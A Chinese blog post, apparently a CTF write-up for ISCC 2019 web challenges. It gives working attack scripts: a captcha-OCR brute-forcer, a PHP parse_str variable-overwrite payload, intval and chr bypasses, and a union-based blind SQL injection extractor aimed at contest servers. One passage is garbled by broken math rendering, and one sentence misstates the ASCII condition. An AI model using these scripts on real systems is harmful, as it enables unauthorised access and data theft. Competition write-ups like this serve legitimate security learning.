2019 iscc的web题

1.

题目如下
在这里插入图片描述
主要是识别验证码,这时候就要用到python大法了,啊哈哈哈。脚本如下(基于python3)

from PIL import Image
import pytesseract
import requests

url_index="http://39.100.83.188:8002/login.php"
url_image="http://39.100.83.188:8002/vcode.php"
header={
    'Cookie': 'PHPSESSID=填你自己的'
}

for i in range(999,99,-1):
    r=requests.post(url=url_image,headers=header)
    with open("C:/python/vcode.png",'wb') as pic:
        pic.write(r.content)
    image=Image.open("C:/python/vcode.png")
    text=pytesseract.image_to_string(image)
    text=text[0:4].replace('O','0').replace('o','0').replace('l','1')
    payload={'pwd':str(i),'user_code':text}
    ra=requests.post(url=url_index,data=payload,headers=header)
    print(ra.content.decode("utf-8"))
    if 'flag' not in ra.content.decode('utf-8'):
        print(" %s is nowing " %i)
    else:
        print(ra.content.decode('utf-8'))

我这里是倒着跑的,从999开始,运行后很快就发现了flag,

密码错误
 999 is nowing
密码错误
 998 is nowing
验证码错误
 997 is nowing
flag is flag{*******}
flag is flag{*******}
密码错误
 995 is nowing
验证码错误
 994 is nowing
验证码错误
 993 is nowing
密码错误

996过于真实,23333333.

2.

核心代码如下

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';

第一个,value每一项的ascii值不能大于32,也不能小于127,但又要chr 后的值等于w3lc0me_To_ISCC2019,那就把每一个字符ascii值+256就行了。第二个要绕过intval,可以用22.22e3来绕过。intval(22.22e3)为22,而intval(22.22e3+1)则为22221,所以最后构造payload就行了。
3.
题目代码如下

 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?> 

关键函数parse_str(),来看一下php手册上面对他的介绍。
在这里插入图片描述
在这里插入图片描述所以我们要是action=auth,还要让两个sha256值相等。让action=auth很简单,那怎么让两个sha256值相等呢,我们可以改变 h a s h e d k e y k e y = 1 hashed_key的值。比如key=1,那就让 hashed_key值为1的sha256的值,所以这样就能构造payload了。

?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

4.这个题目是一个注入题,一开始做了半天都没想到这个题目怎么写,然后问了大佬,才知道这是二次注入,那什么是二次注入呢,可以参考一下这个文章

https://zhuanlan.zhihu.com/p/39917830

啥都不说了,滚去刷sql-labs了。QWQ

5.

这个题目和jwt有关 hs256加密,public key在文件夹,仔细读一下common.js就行了。

6.

UA后面加一个.union373,然后是基于union的盲注,脚本直接贴上。(基于python3)

import requests
import binascii

header={
	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36Union.373"
}
url='http://39.100.83.188:8054/'
flag=''


for xxx in range(1,32):
	for i in range(48,127):
		tmp=flag
		a=chr(i)
		sql="union_373_Tom' union distinct select binary 1,2,0x{} order by 3,'1"
		tmp+=a
		b=binascii.hexlify(tmp.encode())
		b=b.decode()
		sql=sql.format(b)
		payload={
			'username':sql,
			'password':1
		}
		r=requests.post(url=url,headers=header,data=payload)
		print(payload)
		print(flag)
		if '2' not in r.content.decode('utf-8'):
			print(chr(i-1))
			ccc=chr(i-1)
			flag+=ccc
			break
		
		

发布了28 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43342566/article/details/89759368